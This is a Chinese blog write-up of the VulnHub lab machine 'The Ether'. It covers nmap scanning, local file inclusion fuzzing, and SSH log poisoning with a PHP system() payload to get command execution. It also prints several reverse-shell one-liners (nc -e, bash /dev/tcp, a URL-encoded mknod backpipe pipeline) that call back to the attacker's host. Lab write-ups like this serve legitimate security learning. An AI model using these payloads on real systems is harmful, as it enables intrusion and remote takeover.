前言

12

这是完成的第9个VulnHub靶机,这个靶机其实思路还是很简单的,就是这里的反弹shell比较难。

信息收集

和以前一样,直接上nmap收集主机信息:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 10:18 EDT
Nmap scan report for 192.168.247.1
Host is up (0.00057s latency).
Nmap scan report for 192.168.247.2
Host is up (0.00040s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00011s latency).
Nmap scan report for 192.168.247.227
Host is up (0.0011s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.57 seconds

继续扫描开放的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kali@kali:~$ nmap -p1-65535 -A 192.168.247.227
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 10:23 EDT
Nmap scan report for 192.168.247.227
Host is up (0.0060s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA)
| 256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA)
|_ 256 86:6c:7c:4b:04:7e:57:4f:68:16:a9:74:4c:0d:2f:56 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: The Ether
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds

发现了ssh服务和http服务。

漏洞挖掘

在chrome浏览器中访问目标站点:

1

导航栏上有三个页面,在访问research.php时发现了潜在的文件包含点:

2

但是直接包含/etc/passwd文件就失败了,没有任何回显,那么直接上burpsuite fuzz一下,用的字典是:

1
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

3

从fuzz结果可以看到,成功包含了三个文件:

1
2
3
/var/log/lastlog
/var/run/utmp
/var/log/auth.log

这三个文件的主要功能都是记录用户的登录信息。像/var/log/auth.log文件会记录系统的授权信息,包括用户登录和使用的权限机制等等。从上图可以看到/var/log/auth.log和SSH登录信息相关,所以我们可以尝试ssh登录,相关的内容都会被记录,比如尝试登录目标主机:

5

登录失败了,然后查看文件/var/log/auth.log

4

可以看到ssh登录的日志信息:

1
2
Jul  6 07:50:38 theEther sshd[1804]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.247.210  user=root
Jul 6 07:50:40 theEther sshd[1804]: Failed password for root from 192.168.247.210 port 34892 ssh2

所以我们可以通过ssh日志文件包含入恶意的代码:

1
ssh '<?php system($_GET['cmd']);?>'@192.168.247.227

7

然后包含该文件并添加参数cmd

1
index.php?file=/var/log/auth.log&cmd=id

8

命令被成功执行了,接着就可以反弹shell了。

反弹shell

1
2
nc 192.168.247.210 -e /bin/bash
nc 192.168.247.210 -c /bin/bash

觉得有点奇怪了,怎么-e或是-c都不管用,所以就用man nc看一下nc命令的手册,结果看到在目标主机上的nc为了安全起见是禁用了-c-e选项的:

9

然后尝试另一种反弹shell的方法:

1
bash -i >& /dev/tcp/192.1168.247.210/4444 0>&1

但是也不行…因为这个是由解析shell的bash完成,在某些情况下不支持。

其实反弹shell的各种方法可以参考这篇文章,里面有很多反弹shell的姿势:

https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html

1
2
3
mknod backpipe p && nc 192.168.247.210 23333 0<backpipe | /bin/bash 1>backpipe
====>
mknod+backpipe+p+%26%26+nc+192.168.247.210+23333+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe

11

终于反弹了shell,接着获取标准shell:

1
python -c 'import pty; pty.spawn("/bin/bash");'

发现当前目录下有一个具有suid执行权限的pyton脚本xxxlogauditorxxx.py

10

接下来就是一些常规的提权操作了,但是这里是利用靶机制作者自己制作好的一个python脚本,一般实战其实也不会有这种情况。而且我没想明白的是,不知道为什么反弹了一次shell之后,重新反弹shell就怎么也不成功了…所以后面的继续提权我就没完成了。

总结

这个靶机应该是做过的思路最直白简单的一个了,就是这里的反弹shell确实是比较难,到最后我也没太搞懂原因…为什么只能连接一次呢。。。